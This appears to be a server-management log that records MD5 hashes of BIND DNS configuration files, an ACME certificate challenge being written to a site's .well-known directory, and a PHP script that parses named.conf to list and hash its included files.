MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 06:00:02: Establishing a connection
2026-07-15 06:00:02: Establishing a connection
2026-07-15 06:00:03: 

PUT: /tmp/pkp861956

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-15 06:00:03: 

chmod 755 /tmp/pkp861956; /tmp/pkp861956; rm /tmp/pkp861956

2026-07-15 06:00:03: 


1


2026-07-15 06:00:05: Establishing a connection
2026-07-15 06:00:05: 

PUT: /tmp/pkp942919

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > BPBr6EVPP00SpJvWJjmKnr7RqEZHjoEdrYd1ZhNzago <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BPBr6EVPP00SpJvWJjmKnr7RqEZHjoEdrYd1ZhNzago.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BPBr6EVPP00SpJvWJjmKnr7RqEZHjoEdrYd1ZhNzago


2026-07-15 06:00:05: 

chmod 755 /tmp/pkp942919; /tmp/pkp942919; rm /tmp/pkp942919

2026-07-15 06:00:05: 




2026-07-15 12:45:41: Establishing a connection
2026-07-15 12:45:50: Establishing a connection
2026-07-15 12:45:50: 

PUT: /tmp/pkp562710

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 12:45:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp562710; rm /tmp/pkp562710'

2026-07-15 12:45:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
